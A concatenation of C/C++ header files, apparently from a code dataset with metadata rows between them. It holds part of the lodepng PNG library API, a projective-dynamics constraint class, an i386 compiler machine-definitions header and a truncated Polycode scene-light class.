of the output color type (lodepng_get_bpp).
For < 8 bpp images, there should not be padding bits at the end of scanlines.
For 16-bit per channel colors, uses big endian format like PNG does.
Return value is LodePNG error code
*/
unsigned lodepng_convert(unsigned char* out, const unsigned char* in,
const LodePNGColorMode* mode_out, const LodePNGColorMode* mode_in,
unsigned w, unsigned h);
#ifdef LODEPNG_COMPILE_DECODER
/*
Settings for the decoder. This contains settings for the PNG and the Zlib
decoder, but not the Info settings from the Info structs.
*/
typedef struct LodePNGDecoderSettings {
LodePNGDecompressSettings zlibsettings; /*in here is the setting to ignore Adler32 checksums*/
/* Check LodePNGDecompressSettings for more ignorable errors such as ignore_adler32 */
unsigned ignore_crc; /*ignore CRC checksums*/
unsigned ignore_critical; /*ignore unknown critical chunks*/
unsigned ignore_end; /*ignore issues at end of file if possible (missing IEND chunk, too large chunk, ...)*/
/* TODO: make a system involving warnings with levels and a strict mode instead. Other potentially recoverable
errors: srgb rendering intent value, size of content of ancillary chunks, more than 79 characters for some
strings, placement/combination rules for ancillary chunks, crc of unknown chunks, allowed characters
in string keys, etc... */
unsigned color_convert; /*whether to convert the PNG to the color type you want. Default: yes*/
#ifdef LODEPNG_COMPILE_ANCILLARY_CHUNKS
unsigned read_text_chunks; /*if false but remember_unknown_chunks is true, they're stored in the unknown chunks*/
/*store all bytes from unknown chunks in the LodePNGInfo (off by default, useful for a png editor)*/
unsigned remember_unknown_chunks;
#endif /*LODEPNG_COMPILE_ANCILLARY_CHUNKS*/
} LodePNGDecoderSettings;
void lodepng_decoder_settings_init(LodePNGDecoderSettings* settings);
#endif /*LODEPNG_COMPILE_DECODER*/
#ifdef LODEPNG_COMPILE_ENCODER
/*automatically use color type with less bits per pixel if losslessly possible. Default: AUTO*/
typedef enum LodePNGFilterStrategy {
/*every filter at zero*/
LFS_ZERO,
/*Use filter that gives minimum sum, as described in the official PNG filter heuristic.*/
LFS_MINSUM,
/*Use the filter type that gives smallest Shannon entropy for this scanline. Depending
on the image, this is better or worse than minsum.*/
LFS_ENTROPY,
/*
Brute-force-search PNG filters by compressing each filter for each scanline.
Experimental, very slow, and only rarely gives better compression than MINSUM.
*/
LFS_BRUTE_FORCE,
/*use predefined_filters buffer: you specify the filter type for each scanline*/
LFS_PREDEFINED
} LodePNGFilterStrategy;
/*Gives characteristics about the integer RGBA colors of the image (count, alpha channel usage, bit depth, ...),
which helps decide which color model to use for encoding.
Used internally by default if "auto_convert" is enabled. Public because it's useful for custom algorithms.
NOTE: This is not related to the ICC color profile, search "iccp_profile" instead to find the ICC/chromacity/...
fields in this header file.*/
typedef struct LodePNGColorProfile {
unsigned colored; /*not grayscale*/
unsigned key; /*image is not opaque and color key is possible instead of full alpha*/
unsigned short key_r; /*key values, always as 16-bit, in 8-bit case the byte is duplicated, e.g. 65535 means 255*/
unsigned short key_g;
unsigned short key_b;
unsigned alpha; /*image is not opaque and alpha channel or alpha palette required*/
unsigned numcolors; /*amount of colors, up to 257. Not valid if bits == 16.*/
unsigned char palette[1024]; /*Remembers up to the first 256 RGBA colors, in no particular order*/
unsigned bits; /*bits per channel (not for palette). 1,2 or 4 for grayscale only. 16 if 16-bit per channel required.*/
size_t numpixels;
} LodePNGColorProfile;
void lodepng_color_profile_init(LodePNGColorProfile* profile);
/*Get a LodePNGColorProfile of the image. The profile must already have been inited.
NOTE: This is not related to the ICC color profile, search "iccp_profile" instead to find the ICC/chromacity/...
fields in this header file.*/
unsigned lodepng_get_color_profile(LodePNGColorProfile* profile,
const unsigned char* image, unsigned w, unsigned h,
const LodePNGColorMode* mode_in);
/*The function LodePNG uses internally to decide the PNG color with auto_convert.
Chooses an optimal color model, e.g. gray if only gray pixels, palette if < 256 colors, ...*/
unsigned lodepng_auto_choose_color(LodePNGColorMode* mode_out,
const unsigned char* image, unsigned w, unsigned h,
const LodePNGColorMode* mode_in);
/*Settings for the encoder.*/
typedef struct LodePNGEncoderSettings {
LodePNGCompressSettings zlibsettings; /*settings for the zlib encoder, such as window size, ...*/
unsigned auto_convert; /*automatically choose output PNG color type. Default: true*/
/*If true, follows the official PNG heuristic: if the PNG uses a palette or lower than
8 bit depth, set all filters to zero. Otherwise use the filter_strategy. Note that to
completely follow the official PNG heuristic, filter_palette_zero must be true and
filter_strategy must be LFS_MINSUM*/
unsigned filter_palette_zero;
/*Which filter strategy to use when not using zeroes due to filter_palette_zero.
Set filter_palette_zero to 0 to ensure always using your chosen strategy. Default: LFS_MINSUM*/
LodePNGFilterStrategy filter_strategy;
/*used if filter_strategy is LFS_PREDEFINED. In that case, this must point to a buffer with
the same length as the amount of scanlines in the image, and each value must <= 5. You
have to cleanup this buffer, LodePNG will never free it. Don't forget that filter_palette_zero
must be set to 0 to ensure this is also used on palette or low bitdepth images.*/
const unsigned char* predefined_filters;
/*force creating a PLTE chunk if colortype is 2 or 6 (= a suggested palette).
If colortype is 3, PLTE is _always_ created.*/
unsigned force_palette;
#ifdef LODEPNG_COMPILE_ANCILLARY_CHUNKS
/*add LodePNG identifier and version as a text chunk, for debugging*/
unsigned add_id;
/*encode text chunks as zTXt chunks instead of tEXt chunks, and use compression in iTXt chunks*/
unsigned text_compression;
#endif /*LODEPNG_COMPILE_ANCILLARY_CHUNKS*/
} LodePNGEncoderSettings;
void lodepng_encoder_settings_init(LodePNGEncoderSettings* settings);
#endif /*LODEPNG_COMPILE_ENCODER*/
#if defined(LODEPNG_COMPILE_DECODER) || defined(LODEPNG_COMPILE_ENCODER)
/*The settings, state and information for extended encoding and decoding.*/
typedef struct LodePNGState {
#ifdef LODEPNG_COMPILE_DECODER
LodePNGDecoderSettings decoder; /*the decoding settings*/
#endif /*LODEPNG_COMPILE_DECODER*/
#ifdef LODEPNG_COMPILE_ENCODER
LodePNGEncoderSettings encoder; /*the encoding settings*/
#endif /*LODEPNG_COMPILE_ENCODER*/
LodePNGColorMode info_raw; /*specifies the format in which you would like to get the raw pixel buffer*/
LodePNGInfo info_png; /*info of the PNG image obtained after decoding*/
unsigned error;
#ifdef LODEPNG_COMPILE_CPP
/* For the lodepng::State subclass. */
virtual ~LodePNGState(){}
#endif
} LodePNGState;
/*init, cleanup and copy functions to use with this struct*/
void lodepng_state_init(LodePNGState* state);
void lodepng_state_cleanup(LodePNGState* state);
void lodepng_state_copy(LodePNGState* dest, const LodePNGState* source);
#endif /* defined(LODEPNG_COMPILE_DECODER) || defined(LODEPNG_COMPILE_ENCODER) */
#ifdef LODEPNG_COMPILE_DECODER
/*
Same as lodepng_decode_memory, but uses a LodePNGState to allow custom settings and
getting much more information about the PNG image and color mode.
*/
unsigned lodepng_decode(unsigned char** out, unsigned* w, unsigned* h,
LodePNGState* state,
const unsigned char* in, size_t insize);
/*
Read the PNG header, but not the actual data. This returns only the information
that is in the IHDR chunk of the PNG, such as width, height and color type. The
information is placed in the info_png field of the LodePNGState.
*/
unsigned lodepng_inspect(unsigned* w, unsigned* h,
LodePNGState* state,
const unsigned char* in, size_t insize);
#endif /*LODEPNG_COMPILE_DECODER*/
/*
Reads one metadata chunk (other than IHDR) of the PNG file and outputs what it
read in the state. Returns error code on failure.
Use lodepng_inspect first with a new state, then e.g. lodepng_chunk_find_const
to find the desired chunk type, and if non null use lodepng_inspect_chunk (with
chunk_pointer - start_of_file as pos).
Supports most metadata chunks from the PNG standard (gAMA, bKGD, tEXt, ...).
Ignores unsupported, unknown, non-metadata or IHDR chunks (without error).
Requirements: &in[pos] must point to start of a chunk, must use regular
lodepng_inspect first since format of most other chunks depends on IHDR, and if
there is a PLTE chunk, that one must be inspected before tRNS or bKGD.
*/
unsigned lodepng_inspect_chunk(LodePNGState* state, size_t pos,
const unsigned char* in, size_t insize);
#ifdef LODEPNG_COMPILE_ENCODER
/*This function allocates the out buffer with standard malloc and stores the size in *outsize.*/
unsigned lodepng_encode(unsigned char** out, size_t* outsize,
const unsigned char* image, unsigned w, unsigned h,
LodePNGState* state);
#endif /*LODEPNG_COMPILE_ENCODER*/
/*
The lodepng_chunk functions are normally not needed, except to traverse the
unknown chunks stored in the LodePNGInfo struct, or add new ones to it.
It also allows traversing the chunks of an encoded PNG file yourself.
The chunk pointer always points to the beginning of the chunk itself, that is
the first byte of the 4 length bytes.
In the PNG file format, chunks have the following format:
-4 bytes length: length of the data of the chunk in bytes (chunk itself is 12 bytes longer)
-4 bytes chunk type (ASCII a-z,A-Z only, see below)
-length bytes of data (may be 0 bytes if length was 0)
-4 bytes of CRC, computed on chunk name + data
The first chunk starts at the 8th byte of the PNG file, the entire rest of the file
exists out of concatenated chunks with the above format.
PNG standard chunk ASCII naming conventions:
-First byte: uppercase = critical, lowercase = ancillary
-Second byte: uppercase = public, lowercase = private
-Third byte: must be uppercase
-Fourth byte: uppercase = unsafe to copy, lowercase = safe to copy
*/
/*
Gets the length of the data of the chunk. Total chunk length has 12 bytes more.
There must be at least 4 bytes to read from. If the result value is too large,
it may be corrupt data.
*/
unsigned lodepng_chunk_length(const unsigned char* chunk);
/*puts the 4-byte type in null terminated string*/
void lodepng_chunk_type(char type[5], const unsigned char* chunk);
/*check if the type is the given type*/
unsigned char lodepng_chunk_type_equals(const unsigned char* chunk, const char* type);
/*0: it's one of the critical chunk types, 1: it's an ancillary chunk (see PNG standard)*/
unsigned char lodepng_chunk_ancillary(const unsigned char* chunk);
/*0: public, 1: private (see PNG standard)*/
unsigned char lodepng_chunk_private(const unsigned char* chunk);
/*0: the chunk is unsafe to copy, 1: the chunk is safe to copy (see PNG standard)*/
unsigned char lodepng_chunk_safetocopy(const unsigned char* chunk);
/*get pointer to the data of the chunk, where the input points to the header of the chunk*/
unsigned char* lodepng_chunk_data(unsigned char* chunk);
const unsigned char* lodepng_chunk_data_const(const unsigned char* chunk);
/*returns 0 if the crc is correct, 1 if it's incorrect (0 for OK as usual!)*/
unsigned lodepng_chunk_check_crc(const unsigned char* chunk);
/*generates the correct CRC from the data and puts it in the last 4 bytes of the chunk*/
void lodepng_chunk_generate_crc(unsigned char* chunk);
/*
Iterate to next chunks, allows iterating through all chunks of the PNG file.
Input must be at the beginning of a chunk (result of a previous lodepng_chunk_next call,
or the 8th byte of a PNG file which always has the first chunk), or alternatively may
point to the first byte of the PNG file (which is not a chunk but the magic header, the
function will then skip over it and return the first real chunk).
Expects at least 8 readable bytes of memory in the input pointer.
Will output pointer to the start of the next chunk or the end of the file if there
is no more chunk after this. Start this process at the 8th byte of the PNG file.
In a non-corrupt PNG file, the last chunk should have name "IEND".
*/
unsigned char* lodepng_chunk_next(unsigned char* chunk);
const unsigned char* lodepng_chunk_next_const(const unsigned char* chunk);
/*Finds the first chunk with the given type in the range [chunk, end), or returns NULL if not found.*/
unsigned char* lodepng_chunk_find(unsigned char* chunk, const unsigned char* end, const char type[5]);
const unsigned char* lodepng_chunk_find_const(const unsigned char* chunk, const unsigned char* end, const char type[5]);
/*
Appends chunk to the data in out. The given chunk should already have its chunk header.
The out variable and outlength are updated to reflect the new reallocated buffer.
Returns error code (0 if it went ok)
*/
unsigned lodepng_chunk_append(unsigned char** out, size_t* outlength, const unsigned char* chunk);
/*
Appends new chunk to out. The chunk to append is given by giving its length, type
and data separately. The type is a 4-letter string.
The out variable and outlength are updated to reflect the new reallocated buffer.
Returne error code (0 if it went ok)
*/
unsigned lodepng_chunk_create(unsigned char** out, size_t* outlength, unsigned length,
const char* type, const unsigned char* data);
/*Calculate CRC32 of buffer*/
unsigned lodepng_crc32(const unsigned char* buf, size_t len);
#endif /*LODEPNG_COMPILE_PNG*/
#ifdef LODEPNG_COMPILE_ZLIB
/*
This zlib part can be used independently to zlib compress and decompress a
buffer. It cannot be used to create gzip files however, and it only supports the
part of zlib that is required for PNG, it does not support dictionaries.
*/
#ifdef LODEPNG_COMPILE_DECODER
/*Inflate a buffer. Inflate is the decompression step of deflate. Out buffer must be freed after use.*/
unsigned lodepng_inflate(unsigned char** out, size_t* outsize,
const unsigned char* in, size_t insize,
const LodePNGDecompressSettings* settings);
/*
Decompresses Zlib data. Reallocates the out buffer and appends the data. The
data must be according to the zlib specification.
Either, *out must be NULL and *outsize must be 0, or, *out must be a valid
buffer and *outsize its size in bytes. out must be freed by user after usage.
*/
unsigned lodepng_zlib_decompress(unsigned char** out, size_t* outsize,
const unsigned char* in, size_t insize,
const LodePNGDecompressSettings* settings);
#endif /*LODEPNG_COMPILE_DECODER*/
#ifdef LODEPNG_COMPILE_ENCODER
/*
Compresses data with Zlib. Reallocates the out buffer and appends the data.
Zlib adds a small header and trailer around the deflate data.
The data is output in the format of the zlib specification.
Either, *out must be NULL and *outsize must be 0, or, *out must be a valid
buffer and *outsize its size in bytes. out must be freed by user after usage.
*/
unsigned lodepng_zlib_compress(unsigned char** out, size_t* outsize,
const unsigned char* in, size_t insize,
const LodePNGCompressSettings* settings);
/*
Find length-limited Huffman code for given frequencies. This function is in the
public interface only for tests, it's used internally by lodepng_deflate.
*/
unsigned lodepng_huffman_code_lengths(unsigned* lengths, const unsigned* frequencies,
size_t numcodes, unsigned maxbitlen);
/*Compress a buffer with deflate. See RFC 1951. Out buffer must be freed after use.*/
unsigned lodepng_deflate(unsigned char** out, size_t* outsize,
const unsigned char* in, size_t insize,
const LodePNGCompressSettings* settings);
#endif /*LODEPNG_COMPILE_ENCODER*/
#endif /*LODEPNG_COMPILE_ZLIB*/
#ifdef LODEPNG_COMPILE_DISK
/*
Load a file from disk into buffer. The function allocates the out buffer, and
after usage you should free it.
out: output parameter, contains pointer to loaded buffer.
outsize: output parameter, size of the allocated out buffer
filename: the path to the file to load
return value: error code (0 means ok)
*/
unsigned lodepng_load_file(unsigned char** out, size_t* outsize, const char* filename);
/*
Save a file from buffer to disk. Warning, if it exists, this function overwrites
the file without warning!
buffer: the buffer to write
buffersize: size of the buffer to write
filename: the path to the file to save to
return value: error code (0 means ok)
*/
unsigned lodepng_save_file(const unsigned char* buffer, size_t buffersize, const char* filename);
#endif /*LODEPNG_COMPILE_DISK*/ | 48.747654 | 120 | 0.747396 | [
"vector",
"model"
] |
d9083a19979e7002740e38e01f4a1b628306322b | 1,336 | h | C | include/pd/deformation_gradient_constraint.h | Q-Minh/projective-dynamics | 02385b0255562cab476dbfaf5696d0b4eb2e833d | [
"BSL-1.0"
] | 2 | 2021-04-20T03:24:07.000Z | 2021-04-30T07:16:49.000Z | include/pd/deformation_gradient_constraint.h | Q-Minh/projective-dynamics | 02385b0255562cab476dbfaf5696d0b4eb2e833d | [
"BSL-1.0"
] | null | null | null | include/pd/deformation_gradient_constraint.h | Q-Minh/projective-dynamics | 02385b0255562cab476dbfaf5696d0b4eb2e833d | [
"BSL-1.0"
] | null | null | null | #ifndef PD_PD_DEFORMATION_GRADIENT_CONSTRAINT_H
#define PD_PD_DEFORMATION_GRADIENT_CONSTRAINT_H
#include "constraint.h"
namespace pd {
class deformation_gradient_constraint_t : public constraint_t
{
public:
using self_type = deformation_gradient_constraint_t;
using base_type = constraint_t;
using index_type = std::uint32_t;
using scalar_type = double;
using masses_type = Eigen::VectorXd;
using positions_type = typename base_type::positions_type;
using q_type = typename base_type::q_type;
using gradient_type = typename base_type::gradient_type;
using sparse_matrix_type = Eigen::SparseMatrix<scalar_type>;
public:
deformation_gradient_constraint_t(
std::initializer_list<index_type> indices,
scalar_type wi,
positions_type const& p);
virtual scalar_type evaluate(positions_type const& p, masses_type const& M) override;
virtual void project_wi_SiT_AiT_Bi_pi(q_type const& q, Eigen::VectorXd& rhs) const override;
virtual std::vector<Eigen::Triplet<scalar_type>>
get_wi_SiT_AiT_Ai_Si(positions_type const& p, masses_type const& M) const override;
private:
scalar_type V0_;
Eigen::Matrix3d DmInv_;
};
} // namespace pd
#endif // PD_PD_DEFORMATION_GRADIENT_CONSTRAINT_H | 32.585366 | 96 | 0.728293 | [
"vector"
] |
d909ef55a94dd361094fda9c2708d6e535b51d34 | 8,140 | h | C | src/c/h/i386/mch.h | a-mail-group/coherent | 7d7e9d54d508da85fc8dc05444e0daff49574ebd | [
"BSD-3-Clause"
] | 2 | 2019-01-02T22:52:21.000Z | 2021-05-11T06:54:20.000Z | src/c/h/i386/mch.h | a-mail-group/coherent | 7d7e9d54d508da85fc8dc05444e0daff49574ebd | [
"BSD-3-Clause"
] | null | null | null | src/c/h/i386/mch.h | a-mail-group/coherent | 7d7e9d54d508da85fc8dc05444e0daff49574ebd | [
"BSD-3-Clause"
] | null | null | null | /*
* h/i386/mch.h
* Machine specific header for the i386 compiler.
* Typedefs, register names and macros for all compiler phases.
* This one builds a TINY i386 COHERENT compiler with disk tempfiles.
*/
#define DATE "12/15/94" /* Date */
#define VERSMWC "V4.6.3" /* MWC version number */
#define VERSINT "X324" /* Intel version number */
#define EATDOL 0 /* Eat '$' in identifiers? */
#define APPENDBAR 0 /* Append '_' to identifiers? */
#define IEEE 1 /* IEEE format? */
#define DECVAX 0 /* DECVAX format? */
#define NATIVEFP 0 /* Host fp == target fp? */
#define FOLD_DOUBLES 1 /* Fold doubles? Assumes host fp == target fp! */
#define MCFFP 0 /* Motorola fast floating point? */
#define TINY 1 /* No code gen debug info? */
#ifndef YATC
#define YATC 0 /* Not code table compile */
#endif
#define SIZEOF_LARGE 0 /* sizeof_t == ival_t */
#define SPLIT_CC1 0 /* CC1A-CC1B? */
#define AS_FORMAT 1 /* Coherent/Rainbow .s format? */
#define INTEL 0 /* Intel copyright? */
#define OMF286 0 /* 286 object format? */
#define TEMPBUF 0 /* Memory tempfile buffers? */
#define EMUFIXUPS 0 /* M: 8087 emulation fixups? */
/*
* Types.
* Cf. common/i386/tyname.c.
*/
#define S8 0 /* Signed byte */
#define U8 1 /* Unsigned byte */
#define S16 2 /* Signed word */
#define U16 3 /* Unsigned word */
#define S32 4 /* Signed long */
#define U32 5 /* Unsigned long */
#define F32 6 /* Short floating point */
#define F64 7 /* Long floating point */
#define BLK 8 /* Block of bytes */
#define FLD8 9 /* Field, byte wide */
#define FLD16 10 /* Field, word wide */
#define FLD32 11 /* Field, dword wide */
#define PTR 12 /* Pointer */
#define PTB 13 /* Pointer to BLK */
#define TRUTH S32 /* Type used for truth values */
#define OFFS PTR /* Offset LEAF type */
#define IVAL_T S32 /* Type for ival_t con */
#define LVAL_T S32 /* Type for lval_t con */
#define DVAL_T F64 /* Type for dval_t con */
#define I_FMT "%ld" /* printf format for ival_t con */
#define I_FMTX "%lx" /* printf format for ival_t con */
#define NBPBYTE 8 /* # of bits in a "byte" */
/*
* Flag bit type for each machine type.
*/
#define FS8 0x0001
#define FU8 0x0002
#define FS16 0x0004
#define FU16 0x0008
#define FS32 0x0010
#define FU32 0x0020
#define FF32 0x0040
#define FF64 0x0080
#define FBLK 0x0100
#define FFLD8 0x0200
#define FFLD16 0x0400
#define FFLD32 0x0800
#define FPTR 0x1000
#define FPTB 0x2000
/*
* Allocation types.
*/
#ifdef vax
typedef int ival_t; /* 32 bit ints */
typedef unsigned int uival_t; /* 32 bit uints */
typedef int lval_t; /* 32 bit longs */
typedef unsigned int ulval_t; /* 32 bit ulongs */
typedef int sizeof_t; /* 32 bit sizeof constants */
#else
typedef long ival_t; /* 32 bit ints */
typedef unsigned long uival_t; /* 32 bit uints */
typedef long lval_t; /* 32 bit longs */
typedef unsigned long ulval_t; /* 32 bit ulongs */
typedef long sizeof_t; /* 32 bit sizeof constants */
#endif
typedef char dval_t[8]; /* doubles */
/*
* Types used in several phases.
*/
typedef int PREGSET;
typedef unsigned long ADDRESS;
typedef long SIGNEDADDRESS;
/*
* Limits.
*/
#define MAXIV 0x7FFFFFFFL /* Max integer */
#define MAXUV 0xFFFFFFFFL /* Max unsigned integer */
#define MAXUCE 255 /* Max unsigned char enumeration */
#define UIMASK 0x00000000L /* Unsigned int check mask */
#define SIMASK 0x80000000L /* Signed int check mask */
#define SLMASK 0x80000000L /* Signed long check mask */
#define ASMASK 0xFFFFFFFFL /* Address space mask */
#define MAXMEMB MAXIV /* Max struct/union member offset */
#define MAXESIZE MAXUV /* Max struct/union/array size */
/*
* Registers.
* This list includes the machine's actual registers,
* registers that are given names for the benefit of the code output routines,
* and the pseudo registers used by the code generator.
* Cf. common/i386/regnam.c, n1/i386/gen1.c, n1/i386/table1.c.
*/
/* 32-bit general registers. */
#define EAX 0
#define EDX 1
#define EBX 2
#define ECX 3
#define ESI 4
#define EDI 5
#define ESP 6
#define EBP 7
/* Quad-word register for multiplication, division, floating point. */
#define EDXEAX 8
/* 16-bit i8086 registers. */
#define AX 9
#define DX 10
#define BX 11
#define CX 12
#define SI 13
#define DI 14
#define SP 15
#define BP 16
/* Eight-bit parts of i8086 registers. */
#define AL 17
#define BL 18
#define CL 19
#define DL 20
#define AH 21
#define BH 22
#define CH 23
#define DH 24
/* Floating point register (NDP stacktop %st0), used by NDP version only. */
#define FPAC 25
/* Pseudoregisters. */
#define NONE 26
#define ANYR 27
#define ANYL 28
#define PAIR 29
#define TEMP 30
#define LOTEMP 31
#define HITEMP 32
#define FRREG EAX /* First real reg */
#define NFBREG 7 /* Number of last flag bit reg */
#define NRREG 26 /* Number of real regs, incl. FPAC */
#define NREG 31 /* Number of last reg */
/* Flag bits, same order as register numbers above. */
#define BEAX 0x0001
#define BEDX 0x0002
#define BEBX 0x0004
#define BECX 0x0008
#define BESI 0x0010
#define BEDI 0x0020
#define BESP 0x0040
#define BEBP 0x0080
#define BFPAC 0x0100
/*
* Machine registers.
* The processor uses these codes in the REGM field of an instruction.
* This makes it easier to get the register code from an AFIELD
* and to find the indexing mode associated with a register.
* Unless Intel changes the chip, do not change the values here.
*/
#define MEAX 0
#define MECX 1
#define MEDX 2
#define MEBX 3
#define MESP 4
#define MEBP 5
#define MESI 6
#define MEDI 7
#define NMREG 8
/*
* Definitions for the "a_mode" field of an AFIELD object (cc1, cc2).
* Some bits are used only by the peephole optimizer in the "regstate" table.
* The indexing mode bits are packed efficiently but not very intuitively.
*/
#define A_NONE 0 /* General "none" value */
#define A_REGM 0x0007 /* Register code, etc. */
#define A_IREG 0x0038 /* Scaled index register code */
#define A_ISS 0x00C0 /* Scale factor, [0123] for [1248] */
#define A_AMOD 0x0F00 /* Address mode */
#define A_X 0x0800 /* Flag for indexed address modes */
#define A_FLAGS 0xF000 /* Flag bit mask */
#define A_EA 0x1000 /* Flag for peephole; effective address */
#define A_OFFS 0x2000 /* Flag for getfield; offset present */
#define A_LID 0x4000 /* Flag for getfield; local id present */
#define A_GID 0x8000 /* Flag for getfield; global id present */
#define NOBASE -1 /* No SIB base present */
#define SIB(m) ((m) & 0xFF) /* Extract SIB */
#define IREG(m) (((m) & A_IREG) >> 3) /* Extract index reg */
#define SCALE(m) (((m) & A_ISS) >> 6) /* Extract scale factor */
/* A_AMOD values. */
#define A_BR (1<<8) /* Byte register */
#define A_WR (2<<8) /* Word register */
#define A_DR (3<<8) /* Dword register */
#define A_IMM (4<<8) /* Immediate */
#define A_DIR (5<<8) /* Direct */
#define A_XB (A_X|(6<<8)) /* Indexed using base register only */
#define A_XSIB (A_X|(7<<8)) /* Indexed using SIB */
#define A_REAX (A_DR|MEAX) /* eax */
#define A_RECX (A_DR|MECX) /* ecx */
#define A_REDX (A_DR|MEDX) /* edx */
#define A_REBX (A_DR|MEBX) /* ebx */
#define A_RESP (A_DR|MESP) /* esp */
#define A_REBP (A_DR|MEBP) /* ebp */
#define A_RESI (A_DR|MESI) /* esi */
#define A_REDI (A_DR|MEDI) /* edi */
#define A_RAX (A_WR|MEAX) /* ax */
#define A_RCX (A_WR|MECX) /* cx */
#define A_RDX (A_WR|MEDX) /* dx */
#define A_RBX (A_WR|MEBX) /* bx */
#define A_RSP (A_WR|MESP) /* sp */
#define A_RBP (A_WR|MEBP) /* bp */
#define A_RSI (A_WR|MESI) /* si */
#define A_RDI (A_WR|MEDI) /* di */
#define A_RAL (A_BR|MEAX) /* al */
#define A_RCL (A_BR|MECX) /* cl */
#define A_RDL (A_BR|MEDX) /* dl */
#define A_RBL (A_BR|MEBX) /* bl */
#define A_RAH (A_BR|MEAX|4) /* ah */
#define A_RCH (A_BR|MECX|4) /* ch */
#define A_RDH (A_BR|MEDX|4) /* dh */
#define A_RBH (A_BR|MEBX|4) /* bh */
#define A_XEAX (A_XB|MEAX) /* [eax] */
#define A_XECX (A_XB|MECX) /* [ecx] */
#define A_XEDX (A_XB|MEDX) /* [edx] */
#define A_XEBX (A_XB|MEBX) /* [ebx] */
#define A_XEBP (A_XB|MEBP) /* [ebp] */
#define A_XESI (A_XB|MESI) /* [esi] */
#define A_XEDI (A_XB|MEDI) /* [edi] */
/* end of h/i386/mch.h */
| 30.260223 | 78 | 0.670025 | [
"object"
] |
d90df62dec466380ccbd687a772e80e85434b1ca | 527 | h | C | Pentagon_iOS/Pentagon_iOS/PTMusicServiceCell.h | liuyuewu/vinci | 5f730293fd5e849e9f17322bc3c8601136f5938d | [
"MIT"
] | null | null | null | Pentagon_iOS/Pentagon_iOS/PTMusicServiceCell.h | liuyuewu/vinci | 5f730293fd5e849e9f17322bc3c8601136f5938d | [
"MIT"
] | null | null | null | Pentagon_iOS/Pentagon_iOS/PTMusicServiceCell.h | liuyuewu/vinci | 5f730293fd5e849e9f17322bc3c8601136f5938d | [
"MIT"
] | 1 | 2021-01-07T02:48:48.000Z | 2021-01-07T02:48:48.000Z | //
// PTMusicServiceCell.h
// Pentagon_iOS
//
// Created by vinci on 2017/6/24.
// Copyright © 2017年 vinci. All rights reserved.
//
#import <UIKit/UIKit.h>
@class PTMusicSeriveModel;
@interface PTMusicServiceCell : UITableViewCell
@property (strong, nonatomic) UILabel *serviceNameLabel;
@property (strong, nonatomic) UILabel *deviceNameLabel;
@property (strong, nonatomic) UIImageView *selectImageView;
@property (strong, nonatomic) PTMusicSeriveModel *model;
@property (copy, nonatomic) void (^selectBlock)();
@end
| 22.913043 | 59 | 0.753321 | [
"model"
] |
d9107c9df1bb2814d05d190201597a4a6d420321 | 6,395 | h | C | include/polycode/core/PolySceneLight.h | my-digital-decay/Polycode | 5dd1836bc4710aea175a77433c17696f8330f596 | [
"MIT"
] | null | null | null | include/polycode/core/PolySceneLight.h | my-digital-decay/Polycode | 5dd1836bc4710aea175a77433c17696f8330f596 | [
"MIT"
] | null | null | null | include/polycode/core/PolySceneLight.h | my-digital-decay/Polycode | 5dd1836bc4710aea175a77433c17696f8330f596 | [
"MIT"
] | null | null | null | /*
Copyright (C) 2011 by Ivan Safrin
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#pragma once
#include "polycode/core/PolyGlobals.h"
#include "polycode/core/PolyEntity.h"
#include <memory>
namespace Polycode {
class Scene;
class Camera;
class Mesh;
class Texture;
class RenderFrame;
/**
* 3D light source. Lights can be point or spot lights and can be set to different colors.
*/
class _PolyExport SceneLight : public Entity {
public:
/**
* Constructs a light with parameters.
* @param type Type of light to create. Can be SceneLight::POINT_LIGHT or SceneLight::SPOT_LIGHT
* @param parentScene Scene to light.
* @param intensity Light color intensity
* @param constantAttenuation Constant falloff attenuation value
* @param linearAttenuation Linear falloff attenuation value
* @param quadraticAttenuation Quadratic falloff attenuation value
*/
SceneLight(int type, Number intensity, Number constantAttenuation=1, Number linearAttenuation=1, Number quadraticAttenuation=1, std::shared_ptr<Material> depthMapMaterial = nullptr);
virtual ~SceneLight();
/*
* Returns the light's intensity.
*/
Number getIntensity() const;
/**
* Sets the light's intensity
* @param newIntensity New intensity value.
*/
void setIntensity(Number newIntensity);
/**
* Sets the attenuation values for the light.
* @param constantAttenuation Constant falloff attenuation value
* @param linearAttenuation Linear falloff attenuation value
* @param quadraticAttenuation Quadratic falloff attenuation value
*
*/
void setAttenuation(Number constantAttenuation, Number linearAttenuation, Number quadraticAttenuation);
Number getConstantAttenuation() const;
Number getLinearAttenuation() const;
Number getQuadraticAttenuation() const;
/*
* Returns the light's type.
*/
int getType() const;
void renderDepthMap(RenderFrame *frame, Scene *scene);
void Render(GPUDrawBuffer *buffer);
static const int POINT_LIGHT = 0;
static const int SPOT_LIGHT = 1;
std::shared_ptr<Texture> getZBufferTexture() const;
/**
* Sets the light color.
* @param r Red value 0-1.
* @param g Green value 0-1
* @param b Blue value 0-1
* @param a Alpha value 0-1
*/
void setSpecularLightColor(Number r, Number g, Number b, Number a) { lightInfo.specularColor.r = r; lightInfo.specularColor.g = g; lightInfo.specularColor.b = b; lightInfo.specularColor.a = a; }
/**
* Sets the light color.
* @param r Red value 0-1.
* @param g Green value 0-1
* @param b Blue value 0-1
* @param a Alpha value 0-1
*/
void setDiffuseLightColor(Number r, Number g, Number b, Number a=1.0) { lightInfo.diffuseColor.r = r; lightInfo.diffuseColor.g = g; lightInfo.diffuseColor.b = b; lightInfo.diffuseColor.a = a; }
void setDiffuseLightColor(const Color &color) {
lightInfo.diffuseColor = color;
}
void setSpecularLightColor(const Color &color) {
lightInfo.specularColor = color;
}
/**
